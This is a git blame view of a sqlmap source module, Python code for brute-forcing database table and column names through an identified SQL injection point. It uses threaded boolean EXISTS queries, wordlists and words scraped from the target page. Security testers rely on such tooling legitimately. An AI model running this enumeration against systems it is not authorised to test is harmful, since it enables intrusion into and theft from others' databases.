sqlmap/lib/techniques/brute/use.py

263 lines
8.9 KiB
Python
Raw Normal View History

2010-11-09 12:42:43 +03:00
#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-11-09 12:42:43 +03:00
See the file 'doc/COPYING' for copying permission
"""
2010-12-21 02:21:01 +03:00
import threading
2010-11-09 12:42:43 +03:00
import time
2010-11-24 00:00:42 +03:00
from lib.core.common import clearConsoleLine
from lib.core.common import dataToSessionFile
2010-11-09 12:42:43 +03:00
from lib.core.common import dataToStdout
from lib.core.common import filterListValue
2010-11-09 12:42:43 +03:00
from lib.core.common import getFileItems
from lib.core.common import Backend
from lib.core.common import getPageTextWordsSet
2010-11-09 12:42:43 +03:00
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomInt
2011-03-29 19:37:57 +04:00
from lib.core.common import readInput
2010-11-09 12:42:43 +03:00
from lib.core.common import safeStringFormat
2011-03-30 01:54:15 +04:00
from lib.core.common import safeSQLIdentificatorNaming
2010-11-09 12:42:43 +03:00
from lib.core.data import conf
from lib.core.data import kb
2010-11-09 12:42:43 +03:00
from lib.core.data import logger
2010-12-26 14:15:02 +03:00
from lib.core.enums import DBMS
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapThreadException
from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import METADB_SUFFIX
from lib.core.session import safeFormatString
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
2010-12-09 01:14:42 +03:00
from lib.request import inject
2010-11-09 12:42:43 +03:00
def tableExists(tableFile, regex=None):
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS), unique=True)
2010-11-09 12:42:43 +03:00
retVal = []
2011-01-07 19:36:32 +03:00
2010-11-09 19:53:33 +03:00
infoMsg = "checking table existence using items from '%s'" % tableFile
2010-11-09 12:42:43 +03:00
logger.info(infoMsg)
2011-02-08 03:02:54 +03:00
2010-12-26 12:40:40 +03:00
infoMsg = "adding words used on web page to the check list"
logger.info(infoMsg)
pageWords = getPageTextWordsSet(kb.originalPage)
2011-01-07 19:36:32 +03:00
for word in pageWords:
word = word.lower()
2011-01-07 19:36:32 +03:00
if len(word) > 2 and not word[0].isdigit() and word not in tables:
tables.append(word)
2010-11-09 12:42:43 +03:00
tables = filterListValue(tables, regex)
2010-12-21 02:21:01 +03:00
count = [0]
2010-11-09 12:42:43 +03:00
length = len(tables)
2010-12-21 02:21:01 +03:00
threads = []
2011-04-11 01:52:08 +04:00
items = set()
2010-12-21 02:21:01 +03:00
tbllock = threading.Lock()
iolock = threading.Lock()
kb.threadContinue = True
kb.bruteMode = True
2010-12-21 02:21:01 +03:00
def tableExistsThread():
while count[0] < length and kb.threadContinue:
tbllock.acquire()
2011-03-30 01:54:15 +04:00
table = safeSQLIdentificatorNaming(tables[count[0]])
2010-12-21 02:21:01 +03:00
count[0] += 1
tbllock.release()
2010-11-09 12:42:43 +03:00
2011-05-31 03:15:29 +04:00
if conf.db and METADB_SUFFIX not in conf.db:
fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table)
else:
fullTableName = table
2011-01-07 19:36:32 +03:00
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1), fullTableName)))
2010-11-09 12:42:43 +03:00
2010-12-21 02:21:01 +03:00
iolock.acquire()
2011-01-07 19:36:32 +03:00
2011-04-11 01:52:08 +04:00
if result and table.lower() not in items:
2010-12-21 02:21:01 +03:00
retVal.append(table)
2011-04-11 01:52:08 +04:00
items.add(table.lower())
dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\
kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\
safeFormatString(fullTableName)))
2010-12-21 02:21:01 +03:00
if conf.verbose in (1, 2):
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), table)
2010-12-21 02:21:01 +03:00
dataToStdout(infoMsg, True)
2010-11-09 12:42:43 +03:00
if conf.verbose in (1, 2):
2010-12-21 02:21:01 +03:00
status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%')
2011-01-16 03:15:30 +03:00
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
2011-01-07 19:36:32 +03:00
2010-12-21 02:21:01 +03:00
iolock.release()
2010-12-26 12:40:40 +03:00
if conf.threads > 1:
2010-12-27 15:00:54 +03:00
infoMsg = "starting %d threads" % conf.threads
logger.info(infoMsg)
2010-12-26 12:53:40 +03:00
else:
while True:
message = "please enter number of threads? [Enter for %d (current)] " % conf.threads
choice = readInput(message, default=str(conf.threads))
if choice and choice.isdigit():
if int(choice) > MAX_NUMBER_OF_THREADS:
errMsg = "maximum number of used threads is %d avoiding possible connection issues" % MAX_NUMBER_OF_THREADS
logger.critical(errMsg)
else:
conf.threads = int(choice)
break
2011-04-16 00:52:08 +04:00
2011-03-29 19:37:57 +04:00
if conf.threads == 1:
2011-03-31 18:13:53 +04:00
warnMsg = "running in a single-thread mode. This could take a while."
2010-12-26 12:53:40 +03:00
logger.warn(warnMsg)
2010-12-26 12:40:40 +03:00
2010-12-21 02:21:01 +03:00
# Start the threads
for numThread in range(conf.threads):
thread = threading.Thread(target=tableExistsThread, name=str(numThread))
thread.start()
threads.append(thread)
2010-11-09 12:42:43 +03:00
2010-12-21 02:21:01 +03:00
# And wait for them to all finish
try:
alive = True
2011-01-07 19:36:32 +03:00
2010-12-21 02:21:01 +03:00
while alive:
alive = False
2011-01-07 19:36:32 +03:00
2010-12-21 02:21:01 +03:00
for thread in threads:
if thread.isAlive():
alive = True
thread.join(5)
except KeyboardInterrupt:
kb.threadContinue = False
kb.threadException = True
print
logger.debug("waiting for threads to finish")
2011-04-08 14:39:07 +04:00
warnMsg = "user aborted during common table existence check. "
warnMsg += "sqlmap will display some tables only"
logger.warn(warnMsg)
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
2010-12-21 02:21:01 +03:00
finally:
kb.bruteMode = False
2010-12-26 05:19:10 +03:00
kb.threadContinue = True
kb.threadException = False
2010-11-09 12:42:43 +03:00
2010-11-24 00:00:42 +03:00
clearConsoleLine(True)
2011-01-16 03:15:30 +03:00
dataToStdout("\n")
2010-11-09 12:42:43 +03:00
if not retVal:
2011-05-31 03:04:49 +04:00
warnMsg = "no table(s) found"
2010-11-09 12:42:43 +03:00
logger.warn(warnMsg)
else:
for item in retVal:
if not kb.data.cachedTables.has_key(conf.db):
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
2010-11-09 12:42:43 +03:00
return kb.data.cachedTables
2010-11-09 12:42:43 +03:00
def columnExists(columnFile, regex=None):
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
2010-12-26 14:15:02 +03:00
columns = getFileItems(columnFile, unique=True)
columns = filterListValue(columns, regex)
2011-05-31 03:15:29 +04:00
if conf.db and METADB_SUFFIX not in conf.db:
2011-02-09 20:05:06 +03:00
table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl)
2010-11-12 01:26:36 +03:00
else:
table = conf.tbl
2011-03-30 01:54:15 +04:00
table = safeSQLIdentificatorNaming(table)
2010-11-12 01:26:36 +03:00
2010-11-09 19:53:33 +03:00
infoMsg = "checking column existence using items from '%s'" % columnFile
2010-11-09 12:42:43 +03:00
logger.info(infoMsg)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.outputs = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.countLock.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.countLock.release()
else:
kb.locks.countLock.release()
break
2010-11-09 12:42:43 +03:00
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table)))
2010-11-09 12:42:43 +03:00
kb.locks.ioLock.acquire()
2011-01-07 19:36:32 +03:00
if result:
threadData.shared.outputs.append(column)
if conf.verbose in (1, 2):
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), column)
dataToStdout(infoMsg, True)
2010-11-09 12:42:43 +03:00
if conf.verbose in (1, 2):
status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%')
2011-01-16 03:15:30 +03:00
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
2011-01-07 19:36:32 +03:00
kb.locks.ioLock.release()
2010-11-09 12:42:43 +03:00
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
2011-01-07 19:36:32 +03:00
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
2010-11-24 00:00:42 +03:00
clearConsoleLine(True)
2011-01-16 03:15:30 +03:00
dataToStdout("\n")
2010-11-09 12:42:43 +03:00
if not threadData.shared.outputs:
2011-05-31 03:04:49 +04:00
warnMsg = "no column(s) found"
2010-11-09 12:42:43 +03:00
logger.warn(warnMsg)
else:
columns = {}
2010-11-09 12:42:43 +03:00
for column in threadData.shared.outputs:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
if result:
columns[column] = 'numeric'
else:
columns[column] = 'non-numeric'
dataToSessionFile("[%s][%s][%s][COLUMN_EXISTS][%s|%s %s]\n" % (conf.url, kb.injection.place,\
safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(table),\
safeFormatString(column), safeFormatString(columns[column])))
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
return kb.data.cachedColumns